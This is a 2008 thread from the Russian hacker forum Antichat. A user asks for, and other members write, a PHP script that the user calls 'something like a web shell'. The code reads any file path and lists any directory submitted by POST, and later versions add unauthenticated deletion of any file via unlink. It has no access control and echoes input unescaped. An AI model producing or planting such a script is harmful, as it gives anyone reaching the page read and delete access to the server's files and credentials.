Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

24.09.2008, 20:12
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
вывод результатов из Php
Есть два куска кода:
1 кусок кода читает содержимое файлов
PHP код:
<?php
$filename = "/var/www/html/index.php";
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo $buf;
?>
Второй кусок кода выводит содержимое директории
PHP код:
<?php
$dir = '/var/www/';
$files = scandir($dir);
print_r($files);
?>
Как можно поместить их в один файл и методом post создавать запросы, чтобы был вывод на экран?
Например, если я хочу просмотреть директорию - я ввожу адрес. нажимаю готово и наблюдаю ответ
Тоже самое должн происходить и с выводом содержимого файла?
Могу предположить чисто теоретический, что запросы будут методом POST через разделение взаимосвязанности функции.
|
|
|

24.09.2008, 20:22
|
|
Постоянный
Регистрация: 23.11.2007
Сообщений: 342
Провел на форуме: 1215706
Репутация:
310
|
|
Во первых, не:
PHP код:
<?php
$filename = "/var/www/html/index.php";
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo $buf;
?>
а:
PHP код:
<?php
$buf = file_get_contents('/var/www/html/index.php');
echo $buf;
?>
а по теме, $_POST это массив:
PHP код:
<?php
foreach($_POST as $key)
{
echo $key.'<br>';
}
file_put_contents('post.txt',$_POST);
?>
если чесна не понял вопроса
|
|
|

24.09.2008, 20:27
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Во первых, не:
PHP код:
<?php
$filename = "/var/www/html/index.php";
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo $buf;
?>
а:
PHP код:
<?php
$buf = file_get_contents('/var/www/html/index.php');
echo $buf;
?>
А если файл весит 500 мб?
|
|
|

24.09.2008, 20:28
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
Спасибо.
Нужно эти 2 куска кода запихать в один файл.
Что-то типа веб-шелла на php но лишь с двумя возможностями:
1) вывод список файлов и папок в данной директории, например "/var/www/html/'"
2) вывод исходного текста, например из index.php
Последний раз редактировалось Ershik; 24.09.2008 в 20:41..
|
|
|

24.09.2008, 20:37
|
|
Постоянный
Регистрация: 23.11.2007
Сообщений: 342
Провел на форуме: 1215706
Репутация:
310
|
|
Сообщение от Kaimi
А если файл весит 500 мб?
1. PHP не позволит
2. Кто такие файлы грузит?
|
|
|

24.09.2008, 21:57
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
Что то типа того... о безопасности позаботься сам...
PHP код:
<form action="" method="post">
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form>
<form action="" method="post">
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form>
<?php
if($_POST['fail'] and $_POST['ok1']){
$filename = $_POST['fail'];
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo "<textarea rows=20 cols=100>" . $buf . "</textarea>";
}
if($_POST['dir'] and $_POST['ok2']){
$dir = $_POST['dir'];
$files = scandir($dir);
echo "<textarea rows=20 cols=100>";
foreach($files as $file){
echo $file . "\r\n";
}
echo "</textarea>";
}
?>
|
|
|

24.09.2008, 22:16
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
Работает  Только когда просишь показать внутренности файла "index.php " - идет исполнение за рамками поля) ну да ладно)
|
|
|

24.09.2008, 22:44
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
поменяй
PHP код:
echo "<textarea rows=20 cols=100>" . $buf . "</textarea>";
на
PHP код:
echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>";
а так я на скорую руку набросал.. добавь еще проверку на существование файлов и директорий ..
|
|
|

02.12.2008, 18:00
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
Доработал чуть-чуть скрипт, и возникли вопросы.
1) Когда я выбираю несуществующий файл, отображаются ошибки и пустое поле.
Как это можно пофиксить?
2) как можно сохранить строку директории? когда я перемещаюсь по серверу, мне приходится вручную вбивать каталоги:
etc, /etc/home/, /etc/home/pornostar/index.php/
Как можно сохранить строку директории?
3) В коде есть ненужный кусок
if (file_exists($_POST['fail']))
{
}
else
{
echo '<div align="center"><h1>файл не найден</h1></div>';
}
Если файл найден- он ничего не пишет. Если же файл отсуствует, выводится сообщение об ошибке.
Как можно переписать код, чтобы он выводится в "поле" и только при значении, что файл не найдет?
Я впервые сегодня написал простейшее выражение, не пугайтесь, что коряво написал.
Впервой мне
Сам скрипт
PHP код:
<form action="" method="post">
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form>
<form action="" method="post">
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form>
<form action="" method="post">
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form>
<?php
if($_POST['fail'] and $_POST['ok1']){
$filename = $_POST['fail'];
$fp = fopen($filename, 'r');
if (file_exists($_POST['fail']))
{
}
else
{
echo '<div align="center"><h1>файл не найден</h1></div>';
}
$file_exists = $buf;
$buf = fread($fp, filesize($filename));
fclose($fp);
echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>";
}
if($_POST['dir'] and $_POST['ok2']){
$dir = $_POST['dir'];
$files = scandir($dir);
echo "<textarea rows=20 cols=100>";
foreach($files as $file){
echo $file . "\r\n";
}
echo "</textarea>";
}
if($_POST['del'] and $_POST['ok3']){
$del = $_POST['del'];
$uplink = unlink($_POST['del']);
}
?>
<br>
<br>
<script language="javascript">
var name = navigator.appName;
var vers = navigator.appVersion;
var code = navigator.appCodeName;
var where = document.referrer;
var platform = navigator.platform;
document.write(
'Броузер: ' + name +
'<br>Версия броузера: ' + vers +
'<br>Кодовое название броузера: ' + code +
'<br>Вы зашли из: ' + where +
'<br>Платформа: ' + platform
);
</script>
|
|
|

02.12.2008, 18:24
|
|
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
Провел на форуме: 1123418
Репутация:
362
|
|
PHP код:
<?php
if(!empty($_POST['fail'])) $fail = $_POST['fail'];
else $fail = false;
if(!empty($_POST['dir'])) $dir = $_POST['dir'];
else $dir = false;
?>
<form action="" method="post">
Позырить файл <input type="text" name="fail" value="<?php echo $fail ?>"> <input type="submit" name="ok1"></form>
<form action="" method="post">
Глянуть директорию <input type="text" name="dir" value="<?php echo $dir ?>"> <input type="submit" name="ok2"></form>
<form action="" method="post">
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form>
<?php
if($fail and $_POST['ok1']) {
$filename = $fail;
$fp = fopen($filename, 'r');
if (!@file_exists($fail)) echo '<div align="center"><h1>файл не найден</h1></div>';
$file_exists = $buf;
$buf = fread($fp, filesize($filename));
fclose($fp);
echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>";
}
if($dir and $_POST['ok2']) {
$dir = $dir;
$files = scandir($dir);
echo "<textarea rows=20 cols=100>";
foreach($files as $file) {
echo $file . "\r\n";
}
echo "</textarea>";
}
if($_POST['del'] and $_POST['ok3']) {
$del = $_POST['del'];
$uplink = unlink($_POST['del']);
}
?>
<br>
<br>
<script language="javascript">
var name = navigator.appName;
var vers = navigator.appVersion;
var code = navigator.appCodeName;
var where = document.referrer;
var platform = navigator.platform;
document.write(
'Броузер: ' + name +
'<br>Версия броузера: ' + vers +
'<br>Кодовое название броузера: ' + code +
'<br>Вы зашли из: ' + where +
'<br>Платформа: ' + platform
);
</script>
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|